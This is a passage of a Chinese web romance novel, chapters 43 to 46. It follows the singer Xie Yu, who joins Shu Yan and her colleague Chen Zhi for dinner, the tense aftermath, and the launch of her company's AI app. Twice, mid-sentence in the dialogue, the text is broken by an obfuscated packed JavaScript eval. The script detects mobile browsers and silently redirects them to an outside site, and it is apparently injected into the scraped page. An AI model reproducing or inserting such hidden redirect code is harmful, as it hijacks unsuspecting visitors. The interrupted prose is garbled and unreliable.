办公室的人已经对他出现在这里见怪不怪了，毕竟某人几乎每天都会光临他们办公室。 吴明打趣他：“怎么着，今天又要约我们舒言出去啊。” 徐倩林也跟着附和：“就是，一个办公室的，怎么也不约约我们。” 陈质怎么会没听出他们话里的调侃，“还不是因为只有我和舒言是单身狗，你们这些有对象的，还是别来酸我们了。” 吴明朝他挤挤眼睛，“嘻嘻，要我说你们认识这么多年了，要不在一起凑合凑合。” 陈质忙看向舒言，生怕她听了这话不高兴，“这话说的，这种事情哪能随便凑合。” 他笑着推了一把吴明，“瞧瞧，这网上说的果然没错，这结了婚的人啊就爱当人家媒婆。” 听了这话，吴明干脆求饶：“行行行，是我错了，我这不是关心你们嘛。” 陈质拍拍他胸口，“得了，这事我们自己心里有数，你别瞎掺和了。” 刚才还在忙的舒言终于抬起头来，见状陈质赶紧走了过去。 “忙完了？” 舒言取下耳机，点了点头，她刚才在测试AI发出的声音。 陈质粲然一笑，虚坐在她的办公桌边沿，“东城那边有家特别火的餐厅我排上号了，今天应该不用等太久，去不去，机会难得，下次不知道什么时候能排上。” 陈质说的那家餐厅在北沅特别有名，据说创始人以前是乾隆皇帝的御厨，所以这家餐厅的特色就是宫廷菜系，吸引了很多人前去打卡，但是它每天都是限时限量供应，很难排到号。 舒言晚上还没有安排，她说：“那待会AA哦，不准不收我的钱。” 之前陈质就老是喜欢请她吃饭，虽然她都会都给他转账，但他老是不愿意收，每次都是在她的再三坚持下才接收的，所以后面和他一起出去吃饭，舒言都会事先和他说好。 陈质低头轻笑，语气十分宠溺，“好，AA，听你的。” 舒言：“那好，等我收拾一下。” 忙了一下午，舒言都没来得及看手机，她刚摁亮屏幕就看见微信有好多消息。 舒言随意瞥了一眼，却在看到某个头像时定住了。 她赶紧点了进去，这才发现在几个小时前谢玙给自己发了消息，问她晚上有没有空，要不要一起出去吃个饭。 舒言也没想到怎么就这么巧，只是她才答应了和陈质一起出去吃饭，现在也只有拒绝他了。 舒:【不好意思，现在才看到你的消息，已经和朋友约了，下次好吗？】 不知道他是不是在忙，等了两分钟也没有回复。 陈质还在等她，舒言索性关上了手机，对陈质说：“我收拾好了，我们走吧。” 他们开车来到那家餐厅，结果被告知前面还有十几桌在排队，需要等一段时间。 陈质显然也没想到还有等这么久，但是现在来都来了，放弃又有那么点舍不得。 舒言看出来他眼底的纠结，温声道：“没事的，其实我还没有太饿。” “好，那我们再等等。”陈质立马笑了起来，和她一起在大厅的等候区入座。 服务员还贴心送过来茶水和一些小吃。 …… 汲取了上次的教训，谢玙这次提前几个小时给舒言发了消息，只是发完消息后他等了很久都没有回复。 应该是在忙吧，谢玙想着，于是也开始工作。 一月份就是巡回演唱会的第一站，新专辑也没录完，要忙的事情有很多。 等他忙完已经到了晚上的六点多，打开手机一看发现她不久前给他回了消息。 只是等他点进去一看，唇角那点上扬的弧度完全消失了。 小刘注意到他脸上的表情不太好看，关切地问：“怎么了，谢哥，不会又没约到吧。” 谢玙眼皮抬了下，没什么情绪的嗯了一声。 但小刘看出来他心情明显不佳，开始替他找补，“可能，可能就是工作太忙了，下次肯定可以约上。” 谢玙看着手机没说话，心里却涌上一种失控的感觉。 他自嘲地勾了下唇，是什么给了他错觉，让他觉得时隔七年，他依然可以轻易接近她。 注意到他身上的低气压，小刘沉默了一会儿才开口：“那谢哥今晚想吃什么？还去锦香园吗？” 在他以为不会有回答的时候，谢玙忽然抬起头说：“去吧，吃完饭我正好回云栖半岛那边。” 小刘笑了笑：“好，谢教授和秦老师肯定想你了。” 去餐厅的时候还是小刘开的车，到了以后他先去停车，谢玙戴着口罩下了车。 谢玙是这家餐厅的VIP，以前上学那会儿就经常来，和这家餐厅的老板也认识，因为职业比较特殊，所以在这里有固定的雅间。 他正要往里面走，服务员立马眼尖地发现了他，热情地走过来带着他往雅间走。 路过大厅的时候，谢玙注意到有人在排队，他随意往那边瞥了眼，却在看到女人白皙柔美的脸庞时明显一愣。 在看清她旁边的男人后，他眯了眯眼睛，原来这就是她拒绝自己的理由吗？ 几乎是想也别想的，迈开长腿径直朝着他们走了过去。 44. 第44章 大厅里人来人往，有人弹着舒缓的钢琴曲，是一首比较小众的曲子，叫tassel。 钢琴声悠扬婉转，音质如水晶般清澈，过往的人无一例外的为这首曲子驻足停留。 据说这首曲子心情好的时候听了会觉得很治愈，心情不好的时候听了会觉得全是遗憾。 舒言就是在听着这首钢琴曲的时候忽然发现眼前出现了一双黑色皮鞋。 她抬起头的那刻，正好对上男人那双深邃迷人的桃花眼，像漩涡一样让人忍不住沉溺其中。 虽然他脸上戴着口罩，但舒言怎么可能认不出来他是谁。 男人一身深灰色大衣，内搭浅色毛衣，身形挺拔落拓，此刻正自上而下俯视着她，哪怕没说话也给人很强的压迫感。 不知道为什么，在这里看到他，舒言莫名有点心虚，尤其是她旁边还坐着陈质。 其实准确来说是他先约的自己，但是因为自己没看到消息，先一步答应了陈质，所以只能拒绝他。 但谁又能想到他们又这么巧的在这里碰到。 舒言尴尬地抓了下衣服，下意识别开了视线。 然而头顶很快响起男人低醇磁性的嗓音，沙沙的，很好听。 “好巧。” 下一秒他就很自然地落座在舒言旁边的空位上，两条长腿大大敞开着，舒言感觉周围的空间都变得拥挤起来。 她压根不敢去看他，可哪怕是这样，她也能清晰地感受到男人炙热的目光。 原本以为这么多年过去了，她已经能够心平气和地面对他，但没想到她还是很难做到，这样想想她也挺没出息的。 舒言听见他对服务员礼貌又客气地说：“谢谢，待会我自己过去就可以了。” 服务员微笑着说：“好的，谢先生，祝你有个愉快的用餐体验。”然后才转身离开了。 这显然不是普通顾客能受到的待遇。 陈质眼睁睁看见一个年轻男人莫名其妙地坐到了舒言旁边，他立马坐不住了，看向谢玙的眼底全是警惕，语气也十分不客气：“你谁啊，我们认识吗，非要坐在这！” 还好巧。 认识吗就好巧。 听见他的话，谢玙也没有生气，反而掀起撩起眼皮看向舒言，语气听上去有点无辜，“你和他说的我们不认识？” 这话让人听着总有种不清不楚的感觉，反正就还挺暧昧的。 舒言被他这话弄得脸有点热，也不知道怎么回事，潜意识反驳了句：“……我没有。” 只是这话相当于直接承认了他们认识的事实。 舒言偏过头去看他的时候，发现他果然在笑，她一下子反应过来，谢玙这个人是有点套路在身上的。 就连高中的时候也是……当然这些还是她上大学了才后知后觉发现的。 想到这她没忍住瞪了他一眼，然后低下头选择不去看他。 被瞪了一眼的谢玙也没收住笑意，眉眼间的冷淡感消散不少，看上去明显心情不错的样子。 看着两人暗戳戳的互动，陈质顿觉不太对劲，又仔细打量着男人，但看他身上穿的都是名牌，气质矜贵又独特，还莫名有种熟悉的感觉。 他在脑海里回忆了一下，蓦地想起来这应该就是上次在KTV碰到的男人。 他还记得他们当时还互加了微信。 可这个人到底是谁呢？ 陈质实在想不起来近几年身边有出现这号人物。 但不管怎么样，他待在舒言身边这么多年，这个人都没有出现过，足以说明他并不是一个重要的人，因此陈质心里又有了足够的底气，就没再说什么。 三个人安静坐了一会儿，谢玙看上去似乎还是没有要走的意思。 思索了几秒，舒言还是抬头看向了他，耐心解释道：“不好意思，这次是我没及时看到你的消息，不是故意拒绝你的，下次我请你，好不好？” 舒言和他打着商量，其实也猜不到他到底什么想法，她能看出来陈质好像挺不自在的，说实话她自己也觉得怪怪的，而且还怕他待会被人认出来了。 闻言，谢玙的眼睫颤了下，定定地盯着她看了几秒，说了句：“就今天不行吗？” 舒言被他这话弄得呼吸都停滞了一般，嘴唇嗫嚅，拒绝的话像是被卡在了喉咙。 再三的拒绝似乎就有点过分了。 而且她很清楚这样的机会也不是什么时候都有的。 舒言的眼神开始变得有些犹豫。 他是她藏在心里好多年的少年，尽管他们已经七年没见，可她的心里还是保留着那一份年少时的悸动。 这样的喜欢她后来再也没有过。 陈质一听这话马上不乐意了，“你这人还真是有意思，怎么现在还非要凑上来和我们一起吃饭。” 陈质一副你有点眼力劲行不的表情，显然对他这个提议十分抗拒。 谢玙也没恼，而是看着他手上的号码牌问了句：“你们前面还有几桌？” 陈质被他问得一愣，“没几桌了，我们很快了，我告诉你，你可别想和我们拼桌，自己慢慢排队吧！” 谢玙没再搭理他，而是敛睫和舒言商量：“我是这里的VIP，可以不用排队，在里面的雅间，要不要和我一起进去，这顿饭我请你们。” 落入耳中的声音实在温柔，他是个歌手，自然知道什么样的声音让她无法抗拒。 舒言和他对视上，注意到他眼底浮动的温柔，恍惚间她又仿佛看到了那个锐气肆意的少年。经年累月，他依旧在她身边，好似从来不曾离开。 舒言默然收回视线，偏过头问陈质，“我们大概还有多久？” 陈质拿出手机一看，发现前面还有6桌，他叹了一口气，“应该还得一个小时吧。” 现在已经七点了，如果还要等一个小时的话估计肚子都饿扁了。 别说他自己抗不扛得住，他也舍不得舒言再等这么久。 他无声叹了口气。 算了算了，不就是一顿饭嘛。 免费的晚餐不吃白不吃。 不过还是有些不爽地看了一眼谢玙，“那走呗，你自己说的要请我们，可不许赖账。” 谢玙神色淡淡地睨了他一眼：“不会。” 说完率先站了起来，对着舒言温声道：“走吧，带你去吃大餐。” 舒言点点头，也跟着站了起来。 不过心里想的却是待会还是要把饭钱转给他。 谢玙手抄在兜里在前面带路，尽管脸上带着口罩，但他个子高，身材又好，天生的衣服架子，穿什么都像男模，吸引了很多人注意。 舒言还看到有女生举着手机在偷拍他，她下意识地走快了半步，渐渐和他并肩走着。 注意到她的举动，男人不动声色地勾了下唇。 很快他们就坐电梯来到了三楼，出了电梯左拐就到了谢玙说的雅间。 一路上陈质都在四处观察，心想这家餐厅里面居然还别有洞天，今天也算是见识到了，果然还得是钞能力。 谢玙很绅士推开门让他们先进去，最后才把门关上了。 室内开着暖气，里面的装潢典雅又古朴，餐桌座椅都是上好的红木。 舒言刚脱掉大衣外套入座，就看见一个陌生的年轻男人退开门走了进来。 而男人一脸懵逼地看着他们，在原地愣了两秒才走到了谢玙旁边，喊了句：“谢哥。” 谢玙嗯了一声，伸出修长冷白的手指慢条斯理地摘下口罩，露出了那张完美得无可挑剔的脸。他是典型的浓颜系帅哥，浓眉大眼，鼻梁挺直，但是气质又是偏清冷挂的，皮肤白得仿佛溶了层霜雪。 谢玙眼皮都没抬一下，“没事，坐吧。” 舒言沉浸在他突然摘下口罩的美貌暴击中，这好像还是重逢后她第一次这么直观地看清他的脸，难怪网上的人都说他这张脸是天生的顶奢脸，不去演戏简直是娱乐圈最大的损失。这张脸给人的冲击力实在太强，皮相骨相都堪称模板，脸在江山在他身上具象化。 陈质在看见他的脸时更是没忍住瞪大了双眼，好半天才反应了回来，有些不可置信地喊了他的名字：“谢，谢玙？” 这张平时只在电视还有海报上出现的脸，就这么猝不及防地出现在他们面前。 虽然同为男人，但陈质还是不得不承认他确实相当优秀，不管是外形还是事业。 谢玙先给舒言倒了杯茶水，这才扫了一眼陈质，没什么表情地应了一声。 大部分人看到自己都那个表情，也没什么特别的。 注意到谢玙的举动，坐在他旁边的小刘几乎是立马就猜出了女人的身份，只是怎么还有个其他男的在，而且看上去关系不像是很简单的样子。 小刘马上反应过来这大概率就是传说中的修罗场，在这种情况下他自然得想办法帮自家老板找回场子。 外面传来服务员的敲门声和说话声，“谢先生，请问您要开始点餐了吗？” 谢玙视线从舒言身上挪开，薄唇轻启：“进来。” 得到他的允许后，服务员才走了进来，然后递给他们一本厚厚的菜单。 谢玙把菜单推到舒言面前，声线柔和，“看看想吃什么？” 陈质还处在刚才的震惊中，他实在是没想到他居然会是谢玙。 不对，他明明早该想到的。 那天在KTV唱歌的人，除了谢玙本人谁还能达到那种相似程度。 陈质眉头紧锁，想着他这么一个大明星，刚才在大庭广众之下非要凑回来和他们说话，还邀请他们一起吃饭，还有他一直落在舒言身上的目光…… 陈质想不知道他出于什么目的都难，突然觉得心里闷得慌。 他今天就不该带舒言来这里吃饭，都怪自己这张贪吃的死嘴。 其实倒也不是他害怕了，只是感到十分意外。 他当然知道他们高中的时候就认识，但舒言也说过他们并不熟，但看刚才谢玙的态度，但不像是那么回事。 舒言点了两个招牌菜，就把菜单递给了陈质。 可陈质这会儿哪里还有心里吃饭，便说：“你们点吧，我都可以。” 舒言又把菜单递还给谢玙，结果扭头就发现他一直很专注地盯着自己看，脸上骤然一热。 他似乎是轻笑了一声，才低头翻开菜单看了起来，然后报了一长串菜名。 小刘想吃的都已经点上了，所以就没有再加菜。 服务员离开以后，舒言脸上的表情还是有点忐忑，“是不是点得太多了？” 他们才四个人，但是刚才谢玙不知道点了多少个菜。 见状，小刘赶紧接了话：“没事没事，吃不完我打包回去吃，我特别喜欢这里的菜。” 谢玙笑着看了她一眼，那眼神仿佛在说“不用担心，不会浪费的”。 舒言这才放下心来，低头喝了一口茶水，还是谢玙刚才给自己倒的。 味道还蛮特别的，有股淡淡的清香，很像槐花的味道。 舒言忍不住凑近闻了闻。 谢玙见她小狗似的在杯口嗅来嗅去，不禁觉得有些好笑，主动开口给她解了惑：“泡的槐花，还加了点蜂蜜。怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356634|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，好喝吗？” 舒言坦诚地点了点头，心里想着后面自己也要试一下。 小刘默不作声地往舒言的方向瞥了好几眼，不禁在心里感叹，也难怪自己老板会对她念念不忘。 舒言的长相温柔轻盈，是让人第一眼就会觉得惊艳的长相，灵动杏眼蕴着笑意，宛若衔着春露的雪芽。 还没开始上菜，作为暖场小能手，小刘主动打开了话题。 他笑着露出两排洁白整齐的牙齿，“我叫刘波，你们叫我小刘就可以了，是谢哥的助理，请问两位怎么称呼？” 舒言礼貌地朝他微笑：“你好，我叫舒言。” 旁边的陈质正色道：“我叫陈质，双耳陈，质量的质。” 混迹在娱乐圈这种场合，小刘早已深谙人际交往的那一套规则，“哦哦，两位想必都是谢哥的朋友吧，很高兴能认识你们。” 朋友…… 舒言垂下眼睫挡住眼底的情绪，像是默认了。 陈质声音有点别扭，他反驳道：“……我不是。” “不过你老板和我们高中是一个学校的，还是一个年级的。” 小刘了然一笑：“哦哦，这样啊，那说明大家还是很有缘分的嘛，北沅这么大都能碰到。” “对吧，谢哥？” 谢玙唇边扯出点意味不明的笑，“当然。” 只是说这话的时候他的视线一直落在舒言身上，倒像是专门说给她听的。 舒言心里忍不住泛起一阵涟漪。 她早就不是当初那个单纯懵懵的女孩，他难道不知道这样的语气真的很容易让人误会吗？ 餐桌是圆的，她又坐在他旁边，不好意思正大光明地看他，只能在喝水的时候偷偷去余光去瞟，想看看他脸上的表情。 也不知道谢玙察觉没有，反正唇边的弧度一直没下去。 没过多久他们点的菜就送了过来，这家餐厅的分量不小，他们点的菜直接摆了满满一桌，不过舒言惊喜地发现居然有几道很出名的南港菜。 南港坐落在江边，湿气比较重，为了驱寒，菜大多数都是辣口的，而北沅这边饮食相对清淡，所以每隔一段时间舒言就会很馋南港的菜，但这边对味的南港菜可以说是凤毛麟角。 她有些迫不及待地尝了一口毛血旺，虽然味道比不上南港本地的，但是还是相当不错了，满分10分的话，起码可以打个8.5分。 舒言又尝了几口这家店主推的宫廷菜系，无一例外都很好吃，也难怪这家餐厅生意这么火爆。 谢玙一直留意着她的反应，见她好像还挺喜欢的，连带着食欲也好了起来。 他给她夹了个离她比较远的鸡翅放进碗里，“我记得你高中的时候很喜欢吃这道菜，尝尝看，合不合胃口。” 舒言看着碗里出现的鸡翅时征了一秒，没想到他居然还记得，心里顿时有些暖暖的，很给面子的尝了一口，然后认真评价道：“挺好吃的。”说完，又礼尚往来的给他夹了块鱼肉，“这个鱼没刺。” 她记得他挺喜欢吃鱼的，就是不知道口味变没有。 谢玙立马就夹起来送进了嘴里，眉眼舒展，细细品味着：“好吃的。”然后和她对视了一眼。 见他喜欢，舒言没忍住弯了弯唇。 小刘感觉自己硬生生被塞了一把狗粮，他甚至开始怀疑哪怕刚才那块鱼有刺，他的老板也会毫不犹豫地吞下去。 陈质更是觉得碗里的排骨都不香了，他赶紧给舒言盛了豌鸡汤，笑眯眯地递给她：“来来来，喝点汤暖暖胃。” 小刘暗道这个小伙子绝对不是自家老板的对手，他之前的担忧纯粹就是多余的。 当然他也没忘记自己身为助理的使命，笑呵呵地开口：“舒言姐，我可以这样叫你吧。” 舒言听见他的称呼还愣了下，不过小刘看起来确实年龄不大的样子，应该20岁左右。 “可以的。” 小刘弯着眼睛看向她，开始打探消息，“舒言姐，你现在是在北沅工作吗？” 舒言点点头，“是的，我和陈质在同一家科技公司上班。” 小刘有些崇拜地说：“哇，科技公司啊，听上去好厉害的样子，那舒言姐大学也是在这边念的吗？” 舒言注意到谢玙也在看自己，心情忽然有些复杂：“是的，本科和硕士都是在北沅大学读的。” 其实当初她选择来北沅上大学，有一部分原因也是因为谢玙。 可谁知道北沅竟然这么大，这么多年他们都没有碰到过。 陈质马上跟着接了句：“我也是北大毕业的，我和舒言是高中同学，大学同学，还是研究生同学，我们认识9年了。” 小刘干笑了两声：“……” 感情这位打的是“持久战”啊。 不过他觉得他们应该只是普通朋友，或者说是某人单恋？如果他们这么多年都没在一起的话，肯定是没有机会了。 他赶紧给自家老板递了个眼神，让他也趁机表现一下。 谢玙放下筷子，身子往椅背上靠，清淡的嗓音在偌大的空间内响起。 “高中毕业的时候，我问过王远，他说你们在一起了。” 他眼神探究地看了过来，“是真的吗……” 这话一出，房间里安静得连根针掉在地上都能听见。 靠靠靠。 小刘激动得差点咬到自己的舌头。 他默默在桌下竖起大拇指。 不愧是自己的老板，一下子就问到了点子上。 舒言手里握着的筷子一紧，满是惊讶地抬头看向他。 45. 第45章 舒言还没来得及回答，旁边的陈质先坐不住了，他猛地站了起来，低着头说了句：“不好意思，我吃饱了，你们慢慢吃。”旋即朝着门口走去。 “陈质。” 舒言赶紧朝着他的背影喊了一句，只是他并未停留，直接打开门离开了。 包间再度陷入沉默中，气氛说不出来的微妙。 舒言嘴唇紧抿，拿起包背上，语气有些着急：“抱歉，我得跟上去看看。”说完便快步往外走，在打开门之前又回过头对谢玙说：“这顿饭花了多少钱回头你发我微信就行。”说完也没管他什么反应，拧开门把手离开了。 “谢哥……” 小刘挠挠脖子，小心翼翼地去看谢玙的表情。 谢玙背脊微弯，整颗脑袋都低垂着，握住杯子的手青筋迭起，昭示着他此刻心情的不平静。 面对这样的情境，小刘也不知道该怎么安慰他，只能在旁边安静等待。 不过……他觉得谢哥这个样子真的挺可怜的，被喜欢的人抛下的滋味肯定不好受，更何况喜欢的人还是为了情敌抛下自己。 小刘的第一份工作就是谢玙给的，他跟在谢玙身边已经有两三年了，但还是第一次看到他身上流露出类似于脆弱的气息。 不知道过了多久，久到桌上的菜都凉了，谢玙才像是终于回过神来。 “送我回去吧。” “诶，好好好。” …… 舒言离开包间后就赶紧过去按了电梯，又拿出手机打电话给他。 打了好几遍电话都无人接听，最后舒言还是在停车场找到的他。 陈质坐在车里，也没开车灯，整个人都陷在阴影里。 舒言走过去敲了下他的车窗，关切地问：“陈质，你怎么了？” 看见她以后，陈质把车窗降了下来，脸上勉强露出个笑容，“哦，没事，我就是刚才突然心情不太好，你快上车吧，我送你回去。” 舒言抿了抿唇，走到副驾驶打开车门坐了上去。 一路上陈质都没有开口说话，在下车前舒言还是没忍住开口了。 “谢玙他……应该是搞错了，那句话你不用放在心上。” 说实话舒言也非常疑惑，为什么王远会跟谢玙说她和陈质在一起了。 陈质手搭在方向盘上，声音有点沙哑，“嗯，我知道的。” 他唇边挤出一个略显苦涩的笑，“我们是朋友啊，不是吗？” 舒言没注意他脸上的表情，笑着偏过头对他说：“是的，我们永远都是朋友。” 她拿上包，打开车门，“那我先走了，明天见！” 陈质：“嗯，明天见。” 在舒言转身的那一刻，他整个人都陷进了座椅靠背里。 或许有一天，他们连朋友都没法继续做。 舒言到家后就先拿出手机点开了微信，她往下翻到和谢玙的聊天对话框，最后一条消息还停留在傍晚的时候。 她放下手机，去卧室拿了换洗衣物去了浴室。 等她收拾完出来已经是一个小时以后。 舒言躺在床上回复消息，想了想，还是给谢玙发了条消息:【你到家了吗？】 他很快就回复了。 X:【嗯。】 想到今晚的饭钱还没转给他，舒言又继续给他发了消息:【今晚的饭钱我转给你吧，说好我请你的。】 谢玙隔了一会儿才回复了。 X:【不用。】 然后就没有后续了。 舒言看着他的回复微微有些愣神，想到今晚自己中途离开，顿时生出一股歉意。 舒:【那下次我再请回来。】 他那边应该是在忙，等了一会儿都没有回复。 于是舒言开始回复蔡妙妙的消息，聊着聊着她就提到了今晚的事情。 蔡妙妙直接给她打了语音电话过来。 蔡妙妙语气有些激动：“你快详细说说，发生了什么。” 舒言：“其实也没什么，今天晚上我、陈质、谢玙还有他的助理四个人一起吃饭了。” 蔡妙妙直接发出尖叫：“啊啊啊啊啊，天哪，我听到了什么。” 吓得舒言赶紧把手机从耳边挪远。 蔡妙妙：“不是，你从实招来，什么时候和谢玙重新联系上的！！！” 舒言也没想隐瞒什么，“就高中同学会那天，我去卫生间，出来在走廊碰到的。” 蔡妙妙：“难怪哦，我就说你怎么这么久不回来，但是后面陈质不是出去找你了吗，你们碰到了？！” 想到那天的情形，舒言叹了空气，“对啊。” “我的天哪。”蔡妙妙突然在电话里发出一阵狂笑，打趣道：“那你们三个人岂不是修罗场了，哎呀哎呀，可惜没有亲眼看到。” “不是你想的那样，不过谢玙他……主动加了我的微信。” “言言！”蔡妙妙忽然叫了她一声，“我觉得……” 听她语气这么认真，舒言不由得屏住了呼吸：“什么？” “我觉得谢玙他可能喜欢你。” “真的！！！” 舒言：“……” 被激灵得心脏都快卡在嗓子眼了，好半天才找回自己的声音：“……应该没有吧。” 蔡妙妙继续和她分析：“你自己想想，你们都这么多年没联系了，他现在还这么红，他为什么要主动来加你的微信，而且今天晚上你们还一起吃饭了，虽然是偶遇的。” 舒言沉默着没说话。 “还有我记得当时你和我说，你们高中最后一次见面你还拒绝了他的邀约，像他这样的人，应该挺骄傲的吧，现在还愿意放下架子主动靠近你，除了喜欢还能是因为什么……” 高中毕业的那个暑假，舒言主动和妙妙袒露了自己的心事，但是她没想到自己时隔多年还会再次和妙妙谈论起他。 只是时过境迁，她不确定自己是否还有16岁时的那份勇气。 愿做飞蛾，敢扑烈火。 舒言眨了下眼睛，声音低低的，“说实话我也不清楚。” 其实重逢以后，加微信、一起吃饭谢这些事情都超出了她的想象。 虽然她心里也有一些猜测，但是又不敢去确认，怕自己不过是空欢喜一场。 舒言抱着双腿，头枕在膝盖上，忽然又想起一件很重要的事情，她都不知道他现在有没有女朋友，而且他还误会自己和陈质在一起了…… 电话里传来蔡妙妙语重心长的声音，“你自己好好想想吧，如果你还喜欢他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361561|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，不如再勇敢一次，最起码不要给自己留下遗憾。” 挂断电话后，舒言心情变得有些沉重，她侧躺在床上，也不知道什么时候迷迷糊糊的睡了过去。 …… 从锦香园离开后，谢玙回了云栖半岛的住宅，刚进门就看见谢知远和秦明珠坐在沙发上看电视。 “外公，外婆。”谢玙走过去喊了一声。 秦明珠立马抬起头来，眼角笑纹明显，“诶，阿玙回来啦，吃过饭没有？” “吃过了。”谢玙坐到了旁边的沙发上。 谢知远也看向了他，表情温和：“今天怎么想起回来看老头子和老太婆了，不是要开演唱会了吗？” 谢玙：“还有一段时间，最近在忙新专辑的事情。” 谢知远点点头，又说：“对了，你那个演唱会门票有没有多的，给我搞几张，我拿去送给我学生。” 谢玙轻笑了下，“行，要几张？” 谢知远扶了扶老花镜，“给个三张吧。” 秦明珠剥了个橘子递给谢玙，看着爷孙俩乐呵呵地笑：“谢知远啊谢知远，天天薅你外孙的羊毛。” 谢知远噘嘴：“瞧你说的，这人家喜欢阿玙的歌，但是又抢不到票，才不得已托我帮忙的。” 秦明珠哼了一声：“年轻的时候你也是这么和我说的，说自己朋友喜欢我但是又抢不到我的演唱会门票，才来托你帮忙的，年轻的时候和老了以后一个样。” 谢知远：“……” 被呛得说不出话来。 谢玙唇角翘了翘，低头拿出手机看了看，正好看到舒言发来的消息。 他唇角那点弧度消失了，沉默着点了进去。 秦明珠见他一直盯着手机屏幕，便多问了句：“阿玙，在看谁的消息呢？” 谢玙神色如常：“哦，一个朋友。” 秦明珠若有所思点点头，又试探着问他：“阿玙，最近……你爸妈他们联系你了吗？” 谢知远脸上的表情顿时严肃起来，“联系什么，你就当没有那个妈，我也当没有那个女儿！” 空气安静了好几秒。 谢玙脸上的表情倒是淡定，“有打过电话，我没接。” “外公，您说的对。” 末了，又说：“我有点累了，先上楼休息了，你们也早点休息。” 秦明珠和谢知远对视了一眼，而后都重重叹了一口气。 这造的是什么孽啊。 哪有人放着亲生儿子不管，去宠爱别人家孩子的。 回到二楼卧室后，谢玙又重新摁亮了手机屏幕，上面的画面还停留在他和舒言的聊天对话框。 舒:【那下次我再请回来。】 谢玙在屏幕上打了几个字，想到今晚发生的事情又删掉，重新回了个“行”。 回完消息后，他把手机扔在旁边，又拿出张在上面写写画画。 可没过多久又觉得心中一阵烦躁，下一秒桌上就多了个皱巴巴的纸团，他打开窗户，任由呼呼的冷风往室内灌进来，整个人都清醒了很多。 窗外是黑沉沉的夜色，在他的位置可以俯瞰整个城市的风景。 谢玙拿出手机给经纪人发了条消息。 【你以前说的那个活动，可以去。】 46. 第46章 AI软件上线前的准备工作如火如荼地开展着，整个公司的人基本每天都加班到深夜。 最终在一个周一的早上在云阙科技官网以及各大手机厂商的应用商店顺利上线。 Nexora上线不到24小时下载量就在各大应用平台成功封顶，由于其强大的功能吸引了还大批外网用户，很多人还将Nexora和国外的AI软件进行了对比，发现Nexora的准确性还有灵敏度还要优于外网爆红的人工智能。 Nexora尤其擅长数学、编程还有写作，它不像以往的AI软件大多都是缝合机器，给出的答案都是从网上搜寻得到的，而是真正进行了深层次的思考。 更让人感到惊喜的是Nexora的人机感没有那么重，它更像是被赋予人类情感的AI，它会阴阳怪气，在思考问题时还会考虑人情世故，因此网友调侃它有着淡淡的“人味”。 当然了，Nexora的爆红绝对不是偶然，毕竟从它目前的强大功能来看，背后的研发团队一定付出了很多心血。 这样一个令人振奋的AI软件的诞生，无疑象征着国内科技力量的进步和强大，为此官媒还特意发微博为Nexora以及它的团队点赞。 而此时此刻，云阙科技的办公室却陷入了紧张与繁忙中。 就像他们预测的那样，在软件上线后系统遭受了大量不明ip黑客的攻击，最严重的时候一度让系统直接崩溃。 徐请让监测着后台的运营情况，眉头紧锁，“辛苦大家了，我们一起并肩作战，挺过这个难关。” 吴明：“好的老大，我们一定可以赢！” 徐倩琳手下敲个不停，嘴里还一直咒骂着：“千万不要让我知道你是谁，不然我咬死你。” 蓝色的光映在舒言的脸上，她有些疲惫地揉了揉眼睛，这些黑客明显是有计划有组织的活动，每隔一段时间就会像系统发起攻击，所以他们只能一直守在电脑前，一边排除障碍一边加强系统。 就这样持续了一周，应该是看系统还是没有攻破，黑客终于渐渐停止了攻击。 这一周时间里，所有人基本上都住在公司里了，每个人眼下都是黑青色。 徐请让脸上疲惫不已，声音也有点嘶哑，“大家今天下午先回去休息吧，我留下来坚守。” “辛苦了，徐总。” “老大辛苦了，我们晚上来替你。” “……” 回到家后，舒言先去洗了个热水澡，然后就躺在床上睡着了。 这几天太过于疲惫，等她一觉醒来已经晚上10点了。 舒言睁开眼睛，室内一片漆黑，只有从窗帘缝隙透进来的点点光亮。 她伸手摸到开关，啪的一声卧室的灯亮了起来。 舒言下床去客厅找了点吃的，随便对付了几口，现在很晚了也没有什么胃口。 她拿出手机解锁，注意到微博给她推送了一条热搜。 #谢玙现身温哥华国际赛车大赛奖现场# 舒言眼尖地捕捉到谢玙这两个字，她直接点了进去。 这个热搜词条里是外媒镜头下谢玙的高清图还有他驰骋在塞场上的视频。 他作为特邀嘉宾出席了本次大赛，并且拿下了一个很不错的名次。 舒言点开播放量最高的那个视频，赛场上的谢玙冷静又沉着，眉眼间皆是锐气，贡献了一个又一个精彩瞬间，抵达终点的那一刻，他对着镜头淡定地挑了下眉，迈开长腿下车，引来现场一阵尖叫。 视频的弹幕也是清一色的夸夸。 【啊啊啊啊啊啊啊啊啊，恭喜谢玙解锁赛车手身份】 【卧槽卧槽卧槽这真的有点帅晕我了】 【这也太酷了吧，谢玙你到底还有什么惊喜是朕不知道的】 【天哪他长得好帅啊，外媒的高清镜头都抗住了，皮肤也太好了吧，羡慕】 【我只能说谢玙太牛逼了！！！】 【呜呜呜呜为什么我抢不到你的演唱会门票！！！】 【谢玙，求求你了，去演戏吧去演戏吧】 【不能太同意了，顶着这张脸就算演个面瘫我都认了】 【谢玙我该说你什么才好，有时间去赛车，没时间发新歌对不对，新专辑到底什么时候发@谢玙工作室@谢玙工作室@谢玙工作室】 【…………】 